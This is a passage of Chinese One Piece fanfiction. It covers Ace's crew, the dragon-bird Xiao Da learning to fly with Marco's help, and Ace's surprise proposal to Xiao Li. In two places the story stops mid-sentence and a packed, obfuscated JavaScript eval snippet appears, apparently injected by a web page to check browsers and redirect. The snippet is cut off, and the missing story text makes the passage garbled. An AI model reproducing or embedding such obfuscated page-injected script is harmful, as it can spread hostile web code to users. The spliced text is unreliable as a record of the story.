偏偏那几个坏家伙还在起哄: “哦!!艾斯把孩子逗哭了!” “多大的人了,把孩子弄哭了!” 艾斯瞪他们一眼,但完全不知道该怎么哄孩子。丢斯走过来,一副大哥哥的样子,安抚地揉了揉强尼的脑袋。 “男子汉可不能随便哭哦。”他的声音很温和,“咱们船上有小狸一个爱哭鬼就够了。” 正在喝果汁的小狸听到这句话,整个人从椅子上蹦了起来。 “你才是爱哭鬼!!!”她炸毛了,尾巴竖得老高,“你等着,我这就过来把你打哭!”她扑过去,丢斯笑着躲开,几个队员加入战局,闹成一团。 强尼看着这群打打闹闹的大人——不对,是伙伴——忽然收住了哭声。 他抽了抽鼻子,抓住艾斯的裤子,艾斯低头看他。 “艾斯大哥,”强尼的声音还带着哭过的鼻音,但他很认真地改了口,“不对,船长!” 他看看艾斯,又看看那边正在追着丢斯打的小狸。 “我一定会努力的!” 艾斯笑了,他伸手用力揉了揉强尼的脑袋,把那本来就有点乱的头的头发揉得更乱了。 “嗯!”他说,声音里带着笑意,“那我们就拭目以待啦。” 窗外的阳光洒进来,落在这一群笑闹的人身上。玛琪诺端着酒走过来,脸上带着温柔的笑。卡普带着肯不知什么时候也溜达过来了,站在门口看着这一幕,嘴角勾起一个弧度。 “哼,”他小声说,“这还像样。”他抖了抖衣服,怕这些人拘谨又自己晃晃悠悠的回去了,一边走一边想,都走吧,之后的日子又要寂寞了,他没想到,肯居然也没有进去,而是跟了上来,似乎是注意到他落寞的表情,拉了拉他的大衣 “卡普爷爷,你放心,我不走”他在原地故意搞怪的挥了挥拳头“我早就发现了,卡普爷爷才是最厉害的,我才不走呢” 卡普有点好笑,伸出一只手揉了揉他的头 “你不走留下来干什么啊?” “当村长啊!我将来要娶玛琪诺姐姐的女儿做老婆!” “……好啊你个臭小子,不是为了老夫留下来的么?!” “多少也是啦……” “什么叫多少也是啊!再说,你叫玛琪诺姐姐可就差了辈分了” “没事,我和我老婆各叫各的” “臭小子……” 136.飞翔吧,小哒![番外] 莫比迪克号的午后,原本是整艘船上最悠闲的时光。 阳光正好,海风温柔。甲板上三三两两躺着午睡的队员,桅杆顶端的瞭望台上传来轻微的鼾声,一切都那么宁静,直到—— “小哒——!!!” 萨奇的怒吼如同一道惊雷,炸开了这份宁静。 厨房那扇窄窄的门里,一道火红色的身影以完全不符合它体型的敏捷冲了出来。那是一只巨大的鸟,它的翼展将近三米,全身覆盖着鲜艳的火红色羽毛,在阳光下闪闪发光,像一团移动的火焰。 萨奇举着锅铲从厨房里追出来,愤怒得头顶都要冒烟了。 “小狸!你能不能管管你家鸟!”他的声音在整个甲板上回荡,“我一冰箱的菜都被它一只鸟祸害光了!我还特意给冰箱上了锁,它把我的锁都咬断吃了!” 小哒完全不理身后的追兵,在甲板上飞快地前进着。它张开巨大的双翅,在甲板上滑翔一段距离,然后落在地上,两只爪子笨拙地往前跑几步,再蹦起来继续滑翔——那姿态,活像一辆横冲直撞的红色小车。 不幸的是,这辆“小车”的路线完全没有规律,它现在早就不是当初那只可以被小狸单手搂在怀里的小毛球了。从任何意义上来说,它都是一只非常英俊的龙鸟——如果它现在不像一只企鹅一样在地面上扑棱的话。 一个正在午睡的队员被它踩中了肚子,惨叫一声从梦中惊醒。另一个端着咖啡走过的队员被它撞得人仰马翻,咖啡洒了自己一身。它穿过正在下棋的两人中间,棋盘被掀翻,棋子散落一地。 一时间,甲板上怨声载道,哀嚎四起。 “这破鸟!” “撞死我了!” “我的棋!我快赢了!” 人群开始自发地拦截它。但小哒速度快得惊人,左扑右躲,完全无所畏惧。它在人群中穿梭,一时竟谁也抓不住它,反而被它冲得人仰马翻。 丢斯早就爬到了船舷上,远远地避开战场。他看着小哒在甲板上横冲直撞的英姿,忍不住感叹: “这就是龙鸟么……这还没开始吃火石、不会喷火呢。之后会是什么样子啊……” “别感叹了,快下来帮忙!”有人在下面喊。 丢斯往船舷上缩了缩:“我觉得这里挺好的。” 终于有人出手了。 乔兹堵在小哒前进的路线上,庞大的身躯像一堵墙。小哒冲过来的时候,他猛地伸手,一把捞住了那只横冲直撞的龙鸟! “抓到了!” 乔兹抓着它的两个翅膀,把它提了起来。小哒的爪子悬在空中,不住地扑棱,发出刺耳的“哒哒”叫声,那声音又尖又响,震得周围的人直捂耳朵。 “别叫了!别叫了!” 小狸终于赶到了。她一个跃起,精准地落在小哒背上,两手摁住它的脑袋,顺势捏住了它的嘴。 “哒——呜!”小哒的声音被捏成了闷哼。 小狸骑在它背上,两条腿夹紧它的身体,表情凶狠。 “你怎么好意思叫的啊!”她训斥道,“一会就把你抓去给萨奇炖汤!” 小哒的眼睛滴溜溜地转,很快就安静下来。它知道妈妈只是嘴上凶,不会真的对它做什么。 萨奇举着锅铲走过来,脸色铁青:“炖汤?太便宜它了!我要把它做成烤全鸟!” 小哒往小狸怀里缩了缩。 艾斯走过来,拉了拉小哒的翅膀,摸了摸最长的那几根飞羽。他抻起一根羽毛,抖了抖,仔细端详着。 “小哒也不小了吧?”他说,“我看羽毛也长得差不多了。还不会飞么?” 小狸拍拍小哒的大脑袋,自信满满地说:“小哒现在都能滑翔好远了,那还不是说飞就飞?” 小哒附和她点点头,大脑袋一摇一摇的。 “它可是一只鸟哎!”小狸补充道,语气里满是理所当然。 于是,抓捕小哒的活动,变成了围观小哒的第一次起飞。 甲板上的队员们迅速清出一片空地,所有人都围成一圈,满怀期待地看着中间那只火红色的大鸟。萨奇暂时忘了被偷吃的菜,举着锅铲站在一旁,脸上也露出好奇的神色。 小哒站在人群中央,意气风发。 它昂首挺胸,巨大的翅膀缓缓展开,火红色的羽毛在阳光下闪闪发光。 “小哒!加油!”小狸在旁边给它打气。 “飞一个!”丢斯从船舷上探出头。 “让我们看看龙鸟的威风!”有人喊。 小哒深吸一口气,猛的张开双翼,用力上下扇动起来。 人群都准备好欢呼了。 然而—— 什么都没有发生。 小哒的翅膀扇得呼呼作响,风把周围人的头发都吹乱了,但它那巨大的身体就像扎根在地上一样,纹丝不动。 它愣了一下,又用力扇了几下。 还是没飞起来。 它急了,开始助跑——两只爪子笨拙地往前跑,翅膀拼命扇动,但不管它怎么努力,身体就是离不了地。最后,它因为失去平衡,一头栽倒在地,摔了个狗啃泥。 甲板上安静了一瞬。 然后—— “果然不行啊。” “太胖了吧。” “我就说嘛,哪有那么容易。” “这体重,能飞起来才怪。” 人群一边发出各种“善意”的评论,一边散开了。毕竟,看一只胖鸟摔跤,看一次就够了。 小哒趴在地上,感觉自己要裂开了。 它从小到大顺风顺水,要什么有什么,从来没受过这么大的羞辱。 “哒……哒哒……”它发出委屈的声音,巨大的脑袋埋进翅膀里。 小狸走过来,蹲在它身边,拍了拍它的大脑袋。 “没事没事,第一次嘛,很正常。” 小哒抬起头,用它那双水汪汪的大眼睛看着小狸,然后猛地扎进她怀里 巨大的冲击力把小狸撞得往后一仰,差点摔倒。小哒把整个脑袋都埋在她怀里,像一只受伤的小鸡仔一样“哒哒哒”地叫着,声音里全是委屈。 “你拱我也没用啊,”小狸被它拱得东倒西歪,无奈地说,“我又不会飞的。” 她拍拍小哒的脑袋,目光不自觉地往旁边飘去。 那里,马尔科正躺在躺椅上打着哈欠。他完全没有参与刚才的热闹,一副与世无争的样子。 小狸的眼睛亮了。 小哒的眼睛也亮了。 一人一鸟,目光灼灼地盯着马尔科。 马尔科正翻着书页,忽然感觉到两道炙热的视线落在自己身上。他抬头,对上小狸和小哒那四只亮晶晶的眼睛,猛地打了个寒颤。 “看我做什么?”马尔科一下子警惕地从躺椅上坐起来。 话音未落,他看到那辆“红色小车”已经朝着他冲过来,目标明确,速度惊人。 马尔科的反应更快。 他双手化作青色的羽翼,整个人腾空而起,飞到桅杆高处,远远地躲开了。 “马尔科先生!”小狸仰着头喊,“毕竟船上只有你会飞了嘛!” 小哒在下面扑腾着翅膀,发出附和的“哒哒”声。 “那我也不会教一只鸟飞啊!”马尔科在空中喊。 “努努力一定可以做到的!” “你让它努努力啊!我努力有什么用!” “相信自己啊,马尔科先生!” “哒哒!” 马尔科:“……” 他看着下面那一人一鸟同样期待的眼神,深深地叹了口气,一时居然不知道该说什么好,只能认命的落了下来 “行吧,我努努力……” 马尔科化作不死鸟形态,两只后爪抓住小哒的身体,带着它飞到主桅杆的最高处。 桅杆顶端只有窄窄的一块地方,小哒被放下来后,两只爪子死死抓住那根横杆,整个身体都在发抖。 它不敢低头。 下面是那么高、那么高的甲板,那些人现在看起来像蚂蚁一样小。海风在耳边呼啸,桅杆在风中轻轻晃动……太可怕了。 马尔科看着它那副怂样,气笑了。 “小哒,”他的语气里带着无奈,“你是一只鸟哎?” 小哒低头看了一眼,太高了,太可怕了。 它的爪子死死抓住桅杆,眼睛闭得紧紧的,浑身都在发抖,委委屈屈地“哒”了一声。 我不要,好高,好可怕。 小狸不知什么时候也爬上来了。她蹲在小哒旁边,感受着高处呼啸的海风,安抚地拍拍它的背。 “多舒服呀,”她说,“能看到好远呢。” 小哒把眼睛睁开一条缝,顺着妈妈指的方向看去—— 蔚蓝的海面一望无际,天空中有海鸟在自由地盘旋。阳光洒在海面上,泛起粼粼的波光。 确实……挺好看的,但还是不要! “来,试着张开翅膀。”马尔科在旁边引导。 小哒犹豫了一下,缓缓张开了一点翅膀。 海风拂过羽翼,带来一种从未感受过的托举感。它的翅膀微微颤动,像是在试探着什么。 马尔科在旁边看着,不急不躁。 “飞行第一步”他开口,声音温和而耐心“不是拍翅膀,是学会相信自己能飞。” “感觉到了吗?”马尔科用青炎轻轻托起它的翅膀,“风是你的伙伴,不是敌人。” 小哒动了动翅膀,觉得有点好玩。它“哒哒”叫了两声,似乎有了点信心。 马尔科自己化出青炎双翼,两脚一蹬从桅杆跃下,拖着长长的尾羽围着桅杆飞了一圈。他的姿态优美而从容,像是在进行一场表演。 “你看,”小狸戳戳小哒的胸口,“很简单的。你的羽毛早就长好了。” 小哒低头看看自己的翅膀,确实,那些飞羽又长又密,看起来完全具备飞行的条件。 但它还是不敢松爪。 马尔科飞了一圈回来,落在横杆上:“来,试试看。我会接住你的。” 小哒鼓起勇气,松开一只爪子,扇了扇翅膀,一阵风刮过,桅杆晃了晃。 它“嗖”地又把爪子抓回去了。 “……” 小狸看着它那副怂样,长长的叹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小哒越飞越得意,最后来了一个漂亮的俯冲,贴着海面掠过,激起一串白色的浪花,然后猛地拉起,在空中转了两圈,最后稳稳地悬在小狸面前。 它用大脑袋拱了拱小狸,发出温柔的“哒哒”声。 妈妈,我带你飞。 小狸早就等它这句话了,她轻盈地跳上小哒的背。小哒展开双翼,带着她腾空而起。 风在耳边呼啸,海面在身下铺展。小狸趴在小哒暖融融的背上,新奇地四处张望。她从来没从这个角度看过莫比迪克号,原来从高处看,世界是这样的。她能看到远处的海平线,能看到船队航行的轨迹,能看到同伴们在甲板上朝她挥手。 “终于到小哒回报的时候了!” “将来也带着我飞一圈吧!” “你那么重,再把小哒压死了!” “放屁!龙鸟能长那么大呢!” 小哒带着小狸在空中盘旋。她眯起眼睛,享受着高处的风,享受着身下那温热的、属于小哒的体温。 她的思绪飘回很久以前,那时候小哒还是一只小小的、毛茸茸的雏鸟,踉踉跄跄地向她走来,发出稚嫩的“哒哒”声。它把她当成了妈妈,从那以后就一直跟在她身边,从没离开过。还有更早,那时候它还没有名字,只是她包里那枚被遗忘的蛋。 时间过得真快啊,现在,它已经比她大了,它能带着她飞了。 “小哒”小狸把脸埋进小哒温暖的羽毛里轻轻说,声音被风吹散,但小哒听得很清楚,“能做你的妈妈,我真的很开心。” 小哒感受到了背上那份柔软的情感。它的想法很简单,它只知道能和最喜欢的妈妈一起飞,已经让它非常开心了。 但它也敏锐地察觉到,妈妈现在好像很好说话的样子,它眼睛滴溜溜地转了两圈。 “我也很开心!妈妈!”它在心里回应着,然后小心翼翼地开口,“那——” “我一会可以多吃一点嘛!?”它试探着问,语气里充满期待,“一会你把萨奇大叔引走,我先进去偷东西,出来了咱们对半分!” 小狸的耳朵抖了抖,然后她笑了,那笑容很温柔,很无奈,很……危险。 “……我会告诉萨奇的。” “妈妈!” “叫妈妈也没用。” “妈妈妈妈妈妈——” “闭嘴!专心飞!” 阳光下,一只火红色的大鸟载着一个猫耳少女在蔚蓝的海天之间自由地盘旋。甲板上的人们仰着头,看着那两个小小的身影,脸上都带着温柔的笑。 萨奇不知什么时候也出来了,举着锅铲站在甲板上。他看着在空中盘旋的小哒,又看看厨房的方向,最后还是叹了口气。 “算了,”他自言自语,“就当给它庆祝了。” 莫比迪克的日常还在继续,但所有人都会记得,在这个阳光明媚的午后,有一只龙鸟,终于学会了飞翔。 137.他们的未来[番外] 阳光从窗外透进来,在地板上铺开一片暖融融的金色。 小狸迷茫地睁开眼睛,盯着那道光线看了很久,才慢慢意识到自己醒了。她翻了个身,伸手往旁边摸了摸 空的 床铺的另一半早就凉透了,连余温都没有留下。枕头整整齐齐地摆在那里,像是从没有人躺过一样。小狸的尾巴无意识地卷了卷,心里泛起一丝说不上来的失落。 这样的早上已经持续了有一段时间了。艾斯总是起得很早,然后就不知所踪,一整天都看不到人影。晚上匆匆回来,问她几句“今天吃了什么”“有没有好好休息”,然后又神神秘秘地消失。 问他去做什么了,他不说。问他能不能带她一起去,他挠挠头,说“不太方便”。问得多了,他就亲亲她的额头,说“乖,过两天就知道了”。可是过两天又过两天,小狸觉得自己快要被“两天”折磨疯了。 小狸慢吞吞地从床上爬起来,伸了个大大的懒腰,尾巴在身后绷直,然后又软软地垂下来。她站在床边发了一会儿呆,心里乱糟糟的,像有一团毛线缠在一起,理不清头绪。窗外的阳光很好,天气很好,一切都很好,可她就是开心不起来。 不想去打扰马尔科睡回笼觉,小狸晃晃悠悠地往厨房走。 厨房里飘出烤面包的香气,萨奇正在灶台前忙活。他听到脚步声,回头看了一眼,见是小狸,露出一个灿烂的笑容。 “哟,小猫醒了?坐,马上好。” 小狸“嗯”了一声,在餐桌前坐下,整个人趴在冰凉的桌面上,下巴搁在手臂,尾巴有气无力地垂着。 萨奇把烤好的面包端过来,放在她面前,又倒了一杯温牛奶。“怎么了?”他在对面坐下,观察着她蔫头耷脑的样子,“一大早就这副表情,谁惹我们小猫不高兴了?” 小狸摇摇头,拿起面包咬了一口。然后她的眉头皱了起来。这面包…… 小狸不信邪,又咬了一口。 ……好难吃。 不是那种“不好吃”的难吃,是那种说不出哪里不对但就是不对的难吃。小狸苦着脸,嚼也不是,吐也不是,最后还是咽了下去。 萨奇看着她那副表情,表情有点古怪:“怎么?不好吃?” “没、没有……”小狸赶紧摇头,又咬了一口,嚼得艰难,“挺好吃的……” 萨奇没说话,只是看着她,小狸被他看得心虚,终于放下面包,把脸埋回手臂里。 “萨奇……”她的声音闷闷的,“你知不知道艾斯最近在做什么啊?” 萨奇挑了挑眉。 小狸把脸抬起来一点,只露出眼睛,那双琥珀色的眼睛里带着迷茫和一点委屈: “艾斯他……是不是不喜欢我了啊?” 这话把萨奇逗乐了,他伸手,轻轻弹了一下小猫的鼻子。 “别人我说不准,”他的语气笃定,“但艾斯那个傻小子,怎么可能不喜欢你?” 小狸揉揉鼻子,小声嘟囔:“可是他最近都不理我……” “他前两天还找我借钱呢。还拜托我……”萨奇说到一半,猛地收住了话头,停得有些生硬,像是差点说漏了什么,但小狸现在满心烦恼,完全没注意到。 “最近都看不到他的人,”她继续数落,“问他去做什么了也不说。我说和他一起去,他也不带我。” 萨奇看着陷入恋爱烦恼的小狸,脸上的表情满是宠溺,那是一种长辈看晚辈,甚至称的上慈祥的温柔。 “可能,在做什么任务吧,有点忙。”他替艾斯打着掩护,“还有呢?” 小狸歪着头想了想。 “他最近身上总是带着一股花香味……”她皱起鼻子,“挺甜的,像是香水。” 她的嗅觉很灵敏,所以很少用味道太明显的东西。 萨奇摸了摸下巴:“说不定是在哪里蹭到的。现在是春天,岛上的花还挺多的。” 他顿了顿:“还有呢?只是这样,不至于让我们的小猫苦恼成这样吧?” 小狸摇了摇头,声音更低了“最近的面包好难吃……” 她小心翼翼地瞟了萨奇一眼,看到厨师长表情古怪,连忙改口:“……不太好吃。” 她深吸一口气,像是终于鼓起勇气: “我昨天想吃点甜的,所以去店里买点心。然后……”她的声音越来越小,“我看到艾斯和一个金发大姐姐一起进了店,一起买东西。” 萨奇沉默了,他默默地站了起来,转过身,从墙上取下了自己的刀。 “小狸。”他的声音平静得可怕,“我们走。” 小狸吓了一跳:“啊?”她看着萨奇那张“我认真的”的脸,又看看他手里那把明晃晃的刀,整个人都不好了。 “我带你去做了他。”萨奇已经把刀提起来了,风风火火地往外走。 “?!”小狸从椅子上蹦起来,连忙追上去,“萨奇!等等!倒也不至于——” “傻猫!”萨奇回头瞪她,眼睛里全是火,“你给他找什么借口!” “说不定是误会……”小狸跟在他身后小跑,声音都是急切“艾斯他……说不定是任务……” “什么任务需要和金发大姐姐一起买东西?!”萨奇的脚步更快了,“我到要看看是谁给他的胆子!” “说不定是误会——” “误会什么误会!亲眼所见还能是误会!” “可是——” “没有可是!” 两道身影一前一后消失在厨房门口,厨房里剩下的几个队员面面相觑,一时不知道该作何反应。 马尔科打着哈欠从外面走进来,显然是刚睡醒来找东西吃。他看了一眼厨房里表情奇怪的众人,疑惑地问: “他们这是干什么去了?” 有人小心翼翼地回答:“萨奇队长觉得艾斯出轨了,带着小狸算账去了。” 马尔科的哈欠打到一半,卡住了。 “……什么?没拦住?” “没来得及拦,就走了。”队员顿了顿,又补充道,“我们可都是严格遵守规定的,谁也没告诉萨奇队长——所以才……” 马尔科扶住额头,感觉自己瞬间老了十岁,深深地叹了口气。 “所以才不告诉他。”他喃喃道,“那个笨蛋!!!” 福德维天岛上,阳光正好。 萨奇带着小狸穿过人群,目光锐利地搜寻着目标。小狸跟在他身后,一边努力的劝阻激动的萨奇,一边还要安抚路边的人群。 岛上人来人往,但他们要找的那个人实在太显眼了——那顶橙色的帽子,那件敞开的衬衫,那个背对着他们、正和一个金发大姐姐说话的身影。 小狸的耳朵立刻竖了起来,那个金发大姐姐长得很漂亮,身材高挑,穿着一身得体的长裙,正笑着和艾斯说什么,艾斯点了点头,和她说了几句话后两人才分开。 艾斯抱着一个大盒子穿过热闹的城镇往山上走。他的步伐轻快,嘴角带着一丝藏不住的笑意,时不时低头看一眼怀里的盒子,想象着小猫在吃到这个礼物时候有趣的表情。 刚才和珠宝店老板的交接很顺利,那个女人很专业,完全按照他的要求做出了这枚戒指,还贴心地用丝绒盒子装好,现在只要到山顶去,再把小猫骗过来—— “哒!臭小子,拿命来!” 一道凌厉的风声从身后袭来! 艾斯瞳孔一缩,身体本能地往旁边一闪,险险避开了那一击。但他的衣服就没那么幸运了,被划开一个大口子。 “萨奇你干嘛啊!!!”看清来人,艾斯惊魂未定地喊。 萨奇举着刀,满脸杀气:“你小子敢出轨!还拿着我给你的东西——我剁了你!” “什么出轨?你在说什么?!” “还装傻!那个金发女人是谁!” 艾斯一边躲一边喊:“那是珠宝店老板!我去拿戒指的啊!” “呵,拿戒指?拿什么戒指!” “求婚戒指啊!!!” 萨奇的刀停在半空:“……啥?” 艾斯把盒子放在地上,看着远处正赶过来的小狸,把萨奇往一边拉了拉“我准备今天向小狸求婚的……本来是个惊喜”艾斯压低声音,“大家全都知道,都瞒着小狸呢。” 萨奇:“……” 艾斯继续说,“我找了好久也没找到满意的戒指,总觉得差一点。最后还是从乔兹的收藏里找了一颗宝石,找那老板定做的。” 萨奇的刀慢慢放下来,脸上的怒气变成了尴尬,又变成了心虚,最后变成了一种“我好像闯祸了”的表情。 “……那你为什么不告诉我?”他压低声音,抱怨地怼了艾斯一拳“这怎么收场?” 艾斯瞪他:“我哪敢告诉你啊!你个大嘴巴!告诉你和直接告诉小狸有什么区别!” “你小子!”萨奇不服气,但底气明显不足,“你拜托我做的那个面包我可是都给你做出来了!那么难吃的东西,小狸都质疑我的手艺了!” 艾斯:“……” 两个人对视一眼,同时沉默了。 小狸终于气喘吁吁地追上来,就看到两个人僵持在那里的画面。艾斯的衣服被划破了,萨奇举着刀,表情从杀气腾腾变成目瞪口呆,两个人嘀嘀咕咕,不知为什么突然达成和解。 萨奇打了个哈哈,尴尬得无以复加。 “那个……小狸啊,”他挠了挠头,“我突然想起来厨房还炖着汤,我先走了啊!” 然后他跑了,跑得飞快。 小狸:“……?” 她还没反应过来,萨奇已经消失在街角,留下她一个人站在那里,和艾斯四目相对。 小狸蹲下来,委屈巴巴地看着他。那眼神像一只被主人冷落了很久的小动物,可怜兮兮的,让人看了就心软。 艾斯心里那点“想给她一个惊喜”的小心思,在看到这个眼神的瞬间全部烟消云散。 他后悔了,他应该早点告诉她的。 早知道小猫这两天这么苦恼,他就不搞什么惊喜了。 他一手捡起地上的盒子,另一只手伸过去,一把将小狸抱了起来。“哎——”小狸惊呼一声,下意识搂住他的脖子。 艾斯蹭了蹭她的鼻尖,动作亲昵而温柔。“抱歉,小狸。”他的声音低低的,带着歉意,“本来想给你个惊喜,没想到让你不开心了。” 小狸哼唧了一声,把脸埋进他颈窝里“……所以你这两天到底在做什么?”她的声音闷闷的。 艾斯没说话,只是抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没有计划里的丰盛晚餐,没有烛光摇曳的浪漫。那瓶酒还在冰桶里,但没人去开。烛台倒是点上了,但夕阳还没完全沉下去,那点微弱的光几乎看不见。 两人面前只有那个盒子里装着的、干巴巴的面包,但小狸一点也不在意。 她窝在艾斯怀里,一起看着夕阳一点点沉入海平面。天空被染成温暖的橘红色,云层像是被火烧过一样,层层叠叠地铺开。 她拿起一块面包,咬了一口。 很难吃,干巴巴的,没有味道,嚼起来像在啃木头。 但是……好熟悉。 小狸低头看着手里那块难吃的面包,脑海中忽然浮现出很久以前的画面——那个冰冷的诊所,那个浑身是伤的陌生人。 小狸愣住了“艾斯……这个是……” 艾斯的下巴垫在她头顶,声音从上方传来,带着笑意。 “这是我们吃的第一餐。”他说,“我可是折磨了萨奇好久才弄出这个味道。” 那时候她只有合成面包可以给他吃,那种面包又干又硬,难吃得要命,但她只有那个。他什么也没说,就那么吃了,还吃了很久。 小狸闷闷地笑了出来 “真难吃。” 她大口大口地把那块干巴面包塞进嘴里,嚼得很用力,像是要把什么很重要的东西一起咽下去,吃完之后,她再次发表评论: “真难吃。” 艾斯笑着亲了亲她的发顶,自己也拿起一块,咬了一口。 确实难吃。 戒指最终还是戴在了小狸的手上。 她坐在艾斯怀里,对着阳光举起手,看着那枚戒指在光线中折射出细碎的光芒。那蓝色真的太像她的眼睛了,亮晶晶的,干净又纯粹。 小狸盯着戒指看了很久,然后又把脸埋回艾斯怀里。“好漂亮。”她闷闷地说。 “嗯。”艾斯把下巴搁在她头顶,“挑了好久。喜欢吗?” “嗯。”小狸用力点头,眼睛弯成两道月牙。 山顶的风很轻,很暖,两个人依偎在一起,看着夕阳慢慢沉入海平面。天空被染成橘红色,一层一层地晕染开,最后和深蓝色的海水融为一体。 小狸靠在艾斯怀里,手指无意识地摩挲着那枚戒指。 “艾斯。” “嗯?” “艾斯,”她把脸埋进他胸口,声音轻轻的,却无比认真,“我真的,好爱你。” 艾斯低下头,嘴唇碰了碰她的发顶。 “小狸,我也爱你。” 顿了顿,他又补充: “很爱,很爱你。” 小狸在艾斯怀里,听着他的心跳。她想,她这辈子做过最正确的决定,就是那天晚上,把那个重伤的男人拖回了诊所。 海风吹过山顶,带起两人的发丝。夕阳把他们的影子拉得很长,融在一起,分不清彼此,风轻轻吹过,带着花香和海的味道。那枚戒指在他们之间闪着淡淡的光,像是他们一起走过的所有时光,又像是他们即将一起走向的未来,很远,很远的未来……